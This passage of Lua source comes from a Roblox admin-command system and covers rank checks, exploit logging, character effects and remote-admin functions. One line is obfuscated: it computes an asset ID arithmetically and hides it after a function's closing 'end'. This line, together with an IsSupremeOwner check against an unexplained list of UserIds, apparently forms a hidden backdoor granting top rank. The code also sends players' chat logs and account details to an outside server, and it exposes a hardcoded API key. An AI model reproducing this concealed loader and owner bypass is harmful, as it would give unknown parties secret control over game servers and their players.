1735 elseif Obj:IsA("JointInstance") then
1736 local NewWeld = Obj:Clone()
1737 table.insert(Welds, {NewWeld, Obj.Parent})
1738 elseif NewAdd == true and not JustWeld then
1739 if Obj:IsA("Tool") then
1740 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1741 elseif Obj:IsA("Accoutrement") then
1742 --Cycle(Char.Head, ScaleRatio, false, true)
1743 end
1744 end
1745 if #Obj:GetChildren() > 0 then
1746 for _,NewObj in pairs(Obj:GetChildren()) do
1747 Handle(NewObj, ScaleRatio)
1748 end
1749 end
1750 end
1751 Handle(BaseObj)
1752 for _,Part in pairs(Parts) do
1753 if Ratio >= 1 then
1754 Part.Size = Part.Size * ScaleRatio
1755 else
1756 local Allowed = true
1757 for _,Obj in pairs(Part:GetChildren()) do
1758 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1759 Allowed = false
1760 end
1761 end
1762 if Allowed == true then
1763 local NewMesh = Instance.new("BlockMesh", Part)
1764 NewMesh.Name = "MML Mesh"
1765 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1766 end
1767 end
1768 end
1769 for _,WeldData in pairs(Welds) do
1770 if WeldData[1] then
1771 local Obj = WeldData[1]
1772 local NewWeld = Obj:Clone()
1773
1774 NewWeld.Parent = WeldData[2]
1775 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1776 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1777 end
1778 end
1779 for _,Part in pairs(Parts) do
1780 Part:MakeJoints()
1781 end
1782 Welds = {}
1783 Parts = {}
1784 end
1785 Cycle(Char, Ratio)
1786 Char:MakeJoints()
1787
1788 local Added = Char.ChildAdded:connect(function(Obj)
1789 Cycle(Obj, Ratio, NewAdd)
1790 end)
1791 local Removed = Char.ChildRemoved:connect(function(Obj)
1792 Cycle(Obj, Ratio^-1, NewAdd)
1793 end)
1794
1795 Clean.OnInvoke = function()
1796 Added:disconnect()
1797 Removed:disconnect()
1798 local Location = Vector3.new(0,5,0)
1799 if Char:FindFirstChild("Torso") then
1800 Location = Char.Torso.Position + Vector3.new(0,2,0)
1801 end
1802 Player:LoadCharacter()
1803 wait(0.5)
1804 Player.Character:MoveTo(Location)
1805 wait(0.5)
1806 return nil
1807 end
1808
1809 if Char:FindFirstChild("Torso") then
1810 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1811 end
1812 if Char:FindFirstChild("Humanoid") then
1813 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1814 end
1815 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1816 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1817 end
1818end
1819
1820function CORE:AddExploit(PlayerClient, Data)
1821 local PlayerClientName = PlayerClient.Name
1822 local NewData = CORE:GetTime(true, true).." @ "..Data
1823 for _,Player in pairs(Server.Players:GetChildren()) do
1824 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1825 end
1826 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1827 if type(ExploitLog) ~= "table" then
1828 Server.GDS:SetAsync("ExploitLog", {NewData})
1829 else
1830 table.insert(ExploitLog, NewData)
1831 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1832 end
1833 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1834
1835 return true
1836end
1837
1838function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1839 if not tostring(Name) then Name = "Dummy" end
1840 if not Position then Position = Vector3.new(0,5,0) end
1841 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1842 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1843 end
1844
1845 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1846 Figure:MakeJoints()
1847 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1848 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1849 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1850 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1851 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1852 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1853
1854 Figure.Name = STRING:FormatReplace(Speaker, Name)
1855 Figure:MoveTo(Position)
1856
1857 table.insert(Objects, Figure)
1858
1859 if DisableAnimation == true then
1860 Figure.Animate.Disabled = true
1861 end
1862
1863 return Figure
1864end
1865
1866function CORE:ClonePlayer(Player, Name, Position)
1867 if not Player or not Player.Character then return nil end
1868
1869 Player.Character.Archivable = true
1870 local Char = Player.Character:Clone()
1871 Player.Character.Archivable = false
1872 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1873 if Position then Char:MoveTo(Position) end
1874 Char.Parent = Server.Workspace
1875 Char:MakeJoints()
1876 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1877
1878 table.insert(Objects, Char)
1879
1880 return Obj
1881end
1882
1883function CORE:AddWaypoint(Name, Position, Speaker)
1884 Waypoints[Name] = Position
1885 if Speaker then
1886 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1887 end
1888end
1889
1890function CORE:FindType(BaseObj, Type)
1891 for _,Obj in pairs(BaseObj:GetChildren()) do
1892 if Obj:IsA(Type) then
1893 return Obj
1894 end
1895 end
1896end
1897
1898function CORE:GetCommands()
1899 local CommandsCopy = Commands
1900 return CommandsCopy
1901end
1902
1903function CORE:Crown(Player, Mesh, Color)
1904 if Mesh then Mesh = string.lower(Mesh) end
1905 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1906 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1907 local Part = Instance.new("Part", CrownStorage)
1908 Part.Size = Vector3.new(2, 1, 1)
1909 Part.CanCollide = false
1910 Part.CFrame = Player.Character.Head.CFrame
1911 Part.Locked = true
1912 Part.Material = "Neon"
1913 if Color then
1914 Part.Color = GUI:GetColor(Color)
1915 else
1916 Part.BrickColor = GUI:GetNameColor(Player.Name)
1917 end
1918 local SMesh = Instance.new("SpecialMesh", Part)
1919 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1920 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1921 local BP = Instance.new("BodyPosition", Part)
1922 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1923 BP.position = Player.Character.Head.Position
1924 BP.P = 20000
1925 local BG = Instance.new("BodyGyro", Part)
1926 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1927
1928 Crowns[Player.UserId] = Part
1929 table.insert(Objects, Part)
1930
1931 coroutine.wrap(function()
1932 for i = 1,0.3,-0.02 do
1933 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1934 Part.Transparency = i
1935 end
1936 wait()
1937 end
1938 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1939 for i = 0,360,3 do
1940 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1941 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1942 wait()
1943 end
1944 end
1945 end
1946 end)()
1947 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1948 Part:BreakJoints()
1949 for i = 0,360 do
1950 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1951 Part.Anchored = false
1952 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1953 BG.cframe = Player.Character.Head.CFrame
1954 end
1955 wait()
1956 end
1957 end end)()
1958
1959 return Part
1960end
1961
1962function CORE:SetAbuseCommands()
1963 for Cmds,Data in pairs(Commands) do
1964 local IsAbusable = false
1965 for _,AbuseCmd in pairs(Settings.AbuseList) do
1966 for _,Command in pairs(Cmds) do -- loop through all command names
1967 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1968 IsAbusable = true
1969 break
1970 end
1971 end
1972 if IsAbusable == true then break end
1973 end
1974 Commands[Cmds].Abusable = IsAbusable
1975 end
1976end
1977
1978function CORE:FindBodyPart(Player, BodyPart)
1979 local ReturnPart = nil
1980 if Player and Player.Character then
1981 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1982 if Humanoid then
1983 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1984 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1985 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1986 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1987 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1988 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1989 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1990 end
1991 end
1992 if not ReturnPart then
1993 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1994 end
1995 end
1996
1997 return ReturnPart
1998end
1999
2000-- Rank functions --
2001
2002function RANK:ConvertRank(Input)
2003 local Output = nil
2004 if Input == "Muted" then Output = -3 end
2005 if Input == "Crashed" then Output = -2 end
2006 if Input == "Banned" then Output = -1 end
2007 if Input == "Non-Admin" then Output = 0 end
2008 if Input == "Member" then Output = 1 end
2009 if Input == "Admin" then Output = 2 end
2010 if Input == "Owner" then Output = 3 end
2011
2012 if Input == -3 then Output = "Muted" end
2013 if Input == -2 then Output = "Crashed" end
2014 if Input == -1 then Output = "Banned" end
2015 if Input == 0 then Output = "Non-Admin" end
2016 if Input == 1 then Output = "Member" end
2017 if Input == 2 then Output = "Admin" end
2018 if Input == 3 then Output = "Owner" end
2019 return Output
2020end
2021
2022function RANK:IsAdmin(Player)
2023 local AdminStatus = false
2024 local Rankstatus = "Non-Admin"
2025 if type(Player) == "table" then
2026 if RANK:ConvertRank(Player.Rank) > 0 then
2027 return true, Player.Rank
2028 else
2029 return false, Player.Rank
2030 end
2031 end
2032 for Rank,PlayerNames in pairs(Settings.Ranks) do
2033 for _,AdminName in pairs(PlayerNames) do
2034 if string.lower(AdminName) == string.lower(Player.Name) then
2035 if RANK:ConvertRank(Rank) > 0 then
2036 AdminStatus = true
2037 Rankstatus = Rank
2038 end
2039 end
2040 end
2041 end
2042 return AdminStatus, Rankstatus
2043end
2044
2045function RANK:GetRank(PlayerName)
2046 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2047 if type(PlayerName) == "table" then
2048 local RankNum = RANK:ConvertRank(PlayerName.Rank)
2049 if RankNum > 0 then
2050 return PlayerName.Rank, RankNum, true
2051 else
2052 return PlayerName.Rank, RankNum, false
2053 end
2054 end
2055
2056 local RankStat = "Non-Admin"
2057
2058 for Rank,PlayerNames in pairs(Settings.Ranks) do
2059 for _,AdminName in pairs(PlayerNames) do
2060 if string.lower(AdminName) == string.lower(PlayerName) then
2061 RankStat = Rank
2062 end
2063 end
2064 end
2065
2066 if RankStat == "Non-Admin" then
2067 return "Non-Admin", 0, false
2068 else
2069 return RankStat, RANK:ConvertRank(RankStat), true
2070 end
2071end
2072
2073function RANK:RemoveRank(PlayerName)
2074 if not RANK:IsSupremeOwner(PlayerName) then
2075 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2076
2077 for Rank,PlayerNames in pairs(Settings.Ranks) do
2078 for Num,AdminName in pairs(PlayerNames) do
2079 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2080 table.remove(Settings.Ranks[Rank], Num)
2081 end
2082 end
2083 end
2084 end
2085end
2086
2087function RANK:GetAdmins(Ranking)
2088 local Players = {}
2089 local AdminTrue, Rank = IsAdmin(Player)
2090 for _,Player in pairs(Players:GetPlayers()) do
2091 if AdminTrue then
2092 local PlayerRankNum = RANK:ConvertRank(Rank)
2093 local StandardRankNum = RANK:ConvertRank(Ranking)
2094 if PlayerRankNum >= StandardRankNum then
2095 table.insert(Players, Player)
2096 end
2097 end
2098 end
2099 return Players
2100end
2101
2102function RANK:IsSupremeOwner(PlayerName)
2103 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2104 if type(PlayerName) == "table" then
2105 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2106 end
2107
2108 if PlayerName == GameOwner then return true end
2109 return false
2110end
2111
2112function RANK:GetPlayerFromList(PlayerName)
2113 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2114
2115 for Rank,PlayerNames in pairs(Settings.Ranks) do
2116 for Num,AdminName in pairs(PlayerNames) do
2117 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2118 return AdminName, Rank
2119 end
2120 end
2121 end
2122 return false, "Non-Admin"
2123end
2124
2125function RANK:ScanAdminList(Name)
2126 if Name == "" then return true end
2127 local InList = false
2128 for _,PName in pairs(Settings.Ranks["Owner"]) do
2129 if PName == Name then InList = true end
2130 end
2131 for _,PName in pairs(Settings.Ranks["Admin"]) do
2132 if PName == Name then InList = true end
2133 end
2134 for _,PName in pairs(Settings.Ranks["Member"]) do
2135 if PName == Name then InList = true end
2136 end
2137 return InList
2138end
2139
2140function RANK:ScanExileList(Name)
2141 if Name == "" then return true end
2142 local InList = false
2143 for _,PName in pairs(Settings.Ranks["Muted"]) do
2144 if PName == Name then InList = true end
2145 end
2146 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2147 if PName == Name then InList = true end
2148 end
2149 for _,PName in pairs(Settings.Ranks["Banned"]) do
2150 if PName == Name then InList = true end
2151 end
2152 return InList
2153end
2154
2155function RANK:PlayerRanked(PlayerName)
2156 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2157
2158 for Rank,PlayerNames in pairs(Settings.Ranks) do
2159 for Num,AdminName in pairs(PlayerNames) do
2160 if string.lower(AdminName) == string.lower(PlayerName) then
2161 return true, Rank
2162 end
2163 end
2164 end
2165 return false, "Non-Admin"
2166end
2167
2168-- Remote functions --
2169
2170function REMOTE:Decode(...)
2171 return Server.HS:JSONDecode(...)
2172end
2173
2174function REMOTE:GetURL(URL, Player)
2175 if string.sub(URL,1,4) ~= "http" then
2176 URL = "http://"..URL
2177 end
2178 local Return = nil
2179 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2180 if Return then
2181 return Return
2182 elseif Player then
2183 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2184 end
2185end
2186
2187function REMOTE:PostURL(URL, Data)
2188 local Return = nil
2189 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2190 return Return
2191end
2192
2193function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2194 if Settings.LinkedAccount ~= "" then
2195 local NumType = tonumber(Type)
2196
2197 if not Type then
2198 Type = "UNKNOWN"
2199 end
2200
2201 if NumType then
2202 if NumType < 1 or NumType > 5 then
2203 Type = "UNKNOWN"
2204 elseif NumType == 1 then
2205 Type = "NOTIFICATION"
2206 elseif NumType == 2 then
2207 Type = "INFORMATION"
2208 elseif NumType == 3 then
2209 Type = "WARNING"
2210 elseif NumType == 4 or Type == true then
2211 Type = "ERROR"
2212 elseif NumType == 5 then
2213 Type = "FATAL"
2214 end
2215 end
2216
2217 local Res = "RED Could not get response"
2218 local function SendData()
2219 Res = Server.HS:PostAsync(
2220 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2221 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2222 2
2223 )
2224 end
2225 if Stopypcall == true then SendData() else ypcall(SendData) end
2226
2227 if OutputSpeaker and OutputSpeaker ~= "print" then
2228 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2229 elseif OutputSpeaker == "print" then
2230 print(Res)
2231 end
2232 end
2233end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2234
2235function REMOTE:SendChatLog(PrintResponse, Stopypall)
2236 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2237 local Res = "Could not get response"
2238
2239 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2240 TempChatLogs = {}
2241
2242 local function SendData()
2243 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2244 end
2245 if Stopypcall == true then SendData() else ypcall(SendData) end
2246 if PrintResponse then print(Res) end
2247 end
2248end
2249
2250function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2251 local Res = "[]"
2252 local function GetData()
2253 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2254 end
2255 if Stopypcall == true then GetData() else ypcall(GetData) end
2256 if PrintResponse then
2257 print(Res)
2258 end
2259 local function DecodeData() Res = REMOTE:Decode(Res) end
2260 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2261 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2262 return Res
2263end
2264
2265function REMOTE:HandleRequest(Request, IgnoreCommand)
2266 if not Request then return nil end
2267
2268 if not IgnoreCommand then
2269 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2270 REMOTE:SendServerData()
2271 end
2272 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2273 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2274 end
2275 end
2276
2277 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2278
2279 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2280 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2281 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2282 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2283 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2284 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2285
2286 Settings.Fun = Request.FUN
2287 Settings.ServerLocked = Request.ServerLocked
2288
2289 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2290 Settings.DisableAbuse = Request.DisableAbuse
2291 end
2292
2293 if not IgnoreCommand then
2294 print("Executing Remote Admin")
2295 REMOTE.RemoteAdmin.Command = Request.Command
2296 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2297 REMOTE.RemoteAdmin.ServerPort = Request.Server
2298
2299 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2300 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2301 else
2302 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2303 end
2304 end
2305 end
2306 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2307 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2308 REMOTE.SnapshotKey = Request.SnapshotKey
2309end
2310
2311function REMOTE:GetRemoteData(Set)
2312 local NewRemoteData = nil
2313 local RemoteDataCardRaw = nil
2314 local RemoteDataCard = nil
2315
2316 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2317 if RemoteDataCardRaw then
2318 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2319 if RemoteDataCard then
2320 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2321 end
2322 end
2323 if Set and NewRemoteData then
2324 RemoteData = NewRemoteData
2325 end
2326 return NewRemoteData
2327end
2328
2329function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2330 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2331 if InfoCardJSON then
2332 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2333 if InfoCard then
2334 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2335 if TrelloInfo then
2336 for Ind,Val in pairs(TrelloInfo) do
2337 Trello[Ind] = Val
2338 end
2339 end
2340 end
2341 end
2342 return NewRemoteData
2343end
2344
2345function REMOTE:CheckRemoteAdminStatus()
2346 local Pending = false
2347 local CheckID = 0
2348 if Settings.LinkedAccount ~= "" then
2349 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2350 if Request then
2351 local Data = REMOTE:Decode(Request)
2352 if Data then
2353 for _,Account in pairs(Data.checkItems) do
2354 if Account.name == Settings.LinkedAccount then
2355 Pending = true
2356 CheckID = Account.id
2357 break
2358 end
2359 end
2360 end
2361 end
2362 end
2363 return Pending, CheckID
2364end
2365
2366function REMOTE:GetAndSetWebData()
2367 if Settings.LinkedAccount ~= "" then
2368 if REMOTE:CheckRemoteAdminStatus() then
2369 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2370 if Request == "Invalid" then
2371 --REMOTE:GetAndSetWebData()
2372 return false
2373 elseif Request == "Invalid Account" then
2374 print("Can't get account")
2375 return false
2376 elseif Request then
2377 ypcall(function() Request = REMOTE:Decode(Request) end)
2378 elseif not Request then
2379 --REMOTE:GetAndSetWebData()
2380 return false
2381 end
2382 REMOTE:HandleRequest(Request)
2383
2384 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2385 Delay(RemoteData.RemoteAdminWait, function()
2386 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2387 if Pending then
2388 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2389 end
2390 end)
2391 return true
2392 else
2393 return true
2394 end
2395 end
2396end
2397
2398local OderIDs = CORE:GetTable(177215518)
2399local SoundJSONs = CORE:GetTable(197637628)
2400RemoteAbuseGear = CORE:GetTable(158117496)
2401
2402function REMOTE:SendServerData(PrintResponse, Stopypall)
2403 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2404 print("Sending server data!")
2405 local Res = "Could not get response"
2406
2407 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2408 for _,Player in pairs(Server.Players:GetPlayers()) do
2409 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2410 end
2411 ServerData = Server.HS:JSONEncode(ServerData)
2412
2413 local function SendData()
2414 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2415 end
2416 if Stopypcall == true then SendData() else ypcall(SendData) end
2417 if PrintResponse then print(Res) end
2418 end
2419end
2420
2421function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2422 MaxPartAmount = MaxPartAmount or 10000
2423 local PlaceData = {
2424 Lighting = {};
2425 Parts = {};
2426 Other = {};
2427 }
2428 local MinSize = Vector3.new(0.5,0.5,0.5)
2429 local PartAmount = 0
2430 local PlaceJSON = ""
2431
2432 local function Scan(BaseObj)
2433 for _,Obj in pairs(BaseObj:GetChildren()) do
2434 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2435 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2436 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2437 local Skip = false
2438 local Data = {}
2439 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2440
2441 if CORE:FindType(Obj, "BlockMesh") then
2442 local Mesh = CORE:FindType(Obj, "BlockMesh")
2443 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2444 elseif CORE:FindType(Obj, "CylinderMesh") then
2445 Data.Shape = "Cylinder"
2446 elseif CORE:FindType(Obj, "SpecialMesh") then
2447 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2448 if Mesh.MeshType == Enum.MeshType.Head then
2449 --idk
2450 else
2451 Skip = true
2452 end
2453 elseif CORE:FindType(Obj, "FileMesh") then
2454 Skip = true
2455 end
2456
2457 if not Data.Shape and not Skip then
2458 if ypcall(function() return Obj.Shape end) then
2459 Data.Shape = string.sub(Obj.Shape.Name,14)
2460 if string.sub(Data.Shape,1,1) == "." then
2461 Data.Shape = string.sub(Data.Shape,2)
2462 end
2463 if Data.Shape == "Cylinder" then
2464 Z = Z + math.pi/2
2465 end
2466 else
2467 Data.Shape = "Block"
2468 end
2469 end
2470
2471 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2472 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2473 end
2474
2475 if not Skip then
2476 Data.Color = GUI:Color3ToHex(Obj.Color);
2477 Data.Size = Size;
2478 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2479 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2480 Data.Transparency = STRING:StringRound(Obj.Transparency);
2481 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2482 Data.Textures = {};
2483 Data.Material = string.sub(tostring(Obj.Material),15);
2484
2485 for _,Sub in pairs(Obj:GetChildren()) do
2486 if Sub:IsA("Decal") then
2487 local Texture = string.match(Sub.Texture, "%d+")
2488 if Sub.Texture == "rbxasset://textures/face.png" then
2489 Texture = "FACE"
2490 end
2491 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2492 end
2493 end
2494
2495 PartAmount = PartAmount + 1
2496 table.insert(PlaceData.Parts, Data)
2497
2498 if PartAmount >= MaxPartAmount then
2499 break
2500 end
2501 end
2502 end
2503 end
2504 if #Obj:GetChildren() > 0 then
2505 Scan(Obj)
2506 end
2507 end
2508 end
2509 Scan(Workspace)
2510
2511 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2512 PlaceData.Other.PartAmount = PartAmount;
2513 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2514
2515 local Res = "Could not get response"
2516 local function SendData()
2517 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2518 end
2519 if Stopypcall == true then SendData() else ypcall(SendData) end
2520 if PrintResponse then print(Res) end
2521
2522 print("Sent snapshot")
2523end
2524
2525
2526function REMOTE:DefineWord(Word, Source)
2527 if not Word then return end
2528 if not Source then Source = "all" end
2529
2530 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2531 if Response then
2532 local Decode = REMOTE:Decode(Response)
2533 if #Decode > 0 then
2534 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2535
2536 ]]..Decode[1]["text"]
2537 else
2538 return "Invalid English word"
2539 end
2540 else
2541 return "Cannot connect to database"
2542 end
2543end
2544
2545function REMOTE:DownloadJoke(Speaker)
2546 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2547 local Joke = nil
2548 if Res then
2549 local _, Start = string.find(Res, "</h2>")
2550 local End, _ = string.find(string.sub(Res, Start), "</td>")
2551
2552 Joke = string.sub(Res, Start, End + 1 + Start - 5)
